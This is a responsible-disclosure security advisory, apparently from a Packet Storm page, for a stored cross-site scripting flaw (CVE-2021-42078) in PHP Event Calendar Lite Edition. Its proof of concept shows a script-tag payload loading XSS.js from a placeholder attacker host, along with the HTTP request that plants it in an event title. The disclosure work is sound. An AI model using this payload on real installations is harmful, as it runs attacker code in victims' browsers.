exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Event Calendar Lite Edition Cross Site Scripting

PHP Event Calendar Lite Edition Cross Site Scripting
Posted Nov 5, 2021
Authored by Erik Steltzner, Maurizio Ruchay | Site syss.de

PHP Event Calendar Lite Edition suffers from a persistent cross site scripting vulnerability.

tags | exploit, php, xss
advisories | CVE-2021-42078
SHA-256 | 09c617426974d7713fb8ccab94dcccb7210bc336670db3a9f3be869096871afb

PHP Event Calendar Lite Edition Cross Site Scripting

Change Mirror Download
Advisory ID:               SYSS-2021-049
Product: PHP Event Calendar
Manufacturer: Kayson Group Ltd.
Affected Version(s): PHP Event Calendar Lite edition
Tested Version(s): PHP Event Calendar Lite edition
Vulnerability Type: Cross-site Scripting (CWE-79)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2021-08-09
Public Disclosure: 2021-11-04
CVE Reference: CVE-2021-42078
Authors of Advisory: Erik Steltzner, SySS GmbH
Maurizio Ruchay, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

PHP Event Calendar is a multi-user web application designed
to manage and publish calendar events.

The manufacturer describes the product as follows (see [1] and [2]):

"PHP Event Calendar features day, week, month, year, agenda, and
resource views. It includes built-in reminder support so you can
deliver full-featured event scheduling management systems in
the shortest possible time."

"PHP Event Calendar is a out-of-box web calendar/scheduler solution.
It will run on web servers that support PHP 5.3 and higher."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The title of a calendar event is vulnerable to persistent cross-site
scripting (XSS).

For example, the following title causes an event to be stored with a
prepared
JavaScript code. As soon as some user opens the event in the detail
view, the
JavaScript code stored on the attacker server will be executed.

<script src="http://<attacking-machine>/XSS.js"/>

This can be exploited by an adversary in multiple ways. For example, to
perform actions on the page in the context of other users.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Adding an event with a malicious title:

~~~
Request:
POST /server/ajax/events_manager.php HTTP/1.1
[...snip...]
title=%3Cscript+src%3D%22http%3A%2F%2F<attacking-machine>%2FXSS.js%22%2F%3E&start-date=<startDate>
&start-time=<startTime>&end-date=<endDate>&end-time=<endTime>&location=&url=&description=
&selected_calendars%5B%5D=1&backgroundColor=%233a87ad&imageName=&free_busy=free
&privacy=public&update-event=&currentView=

Response:
HTTP/1.1 200 OK
[...snip...]
~~~

When a victim opens the event in the detail view, the following request
loads the malicious code:

~~~
Request:
POST /server/ajax/events_manager.php HTTP/1.1
[...snip...]
eventID=11&action=LOAD_SINGLE_EVENT_BASED_ON_EVENT_ID_PUBLIC

Response:
HTTP/1.1 200 OK
[...snip...]
{
"id":"11",
[...snip...]
"title":"<script src=\"http:\/\/<attacking-machine>\/XSS.js\"\/>",
"description":"",
[...snip...]
}
~~~

As soon as the victim's browser renders this response, the malicious
script "XSS.js" is loaded and executed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

To prevent cross-site scripting attacks, all user-provided input should be
validated, and control characters should be masked in a context-sensitive
manner.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2021-07-29: Vulnerability discovered
2021-08-09: Vulnerability reported to manufacturer
2021-11-04: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Website for PHP Event Calendar
https://phpeventcalendar.com/
[2] Documentation Website for PHP Event Calendar
https://phpeventcalendar.com/documentation/
[3] SySS Security Advisory SYSS-2021-049

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-049.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Erik Steltzner and
Maurizio Ruchay of SySS GmbH.

E-Mail: erik.steltzner@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Erik_Steltzner.asc
Key ID: 0x4C7979CE53163268
Key Fingerprint: 6538 8216 555B FBE7 1E01 7FBD 4C79 79CE 5316 3268

E-Mail: maurizio.ruchay@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Maurizio_Ruchay.asc
Key ID: 0xC7D20E267F0FA978
Key Fingerprint: D506 AB5A FE3E 09AE FFBE DEB2 C7D2 0E26 7F0F A978

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en



Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close